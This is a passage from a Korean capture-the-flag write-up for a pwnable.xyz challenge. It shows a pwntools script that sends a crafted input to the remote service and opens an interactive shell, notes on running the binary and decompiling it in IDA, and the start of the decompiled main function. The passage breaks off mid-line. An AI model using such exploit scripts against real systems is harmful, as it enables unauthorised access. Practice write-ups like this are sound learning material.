from pwn import * p = remote("svc.pwnable.xyz", 30001) p.recvuntil("1337 input: ") p.sendline("4918 -1") p.interactive() - 마찬가지 chmod +x ./challenge 해서 실행권한 부여해서 실행해봄 - IDA로 디컴파일해서 동작 분석해보자 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; // [rsp+0h] [rbp-18h] BYREF int v5; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v6; // [rsp+8h] [rbp-10h] // fs 세그먼트 기준 0x28만큼 떨어져있는 메모리의 q..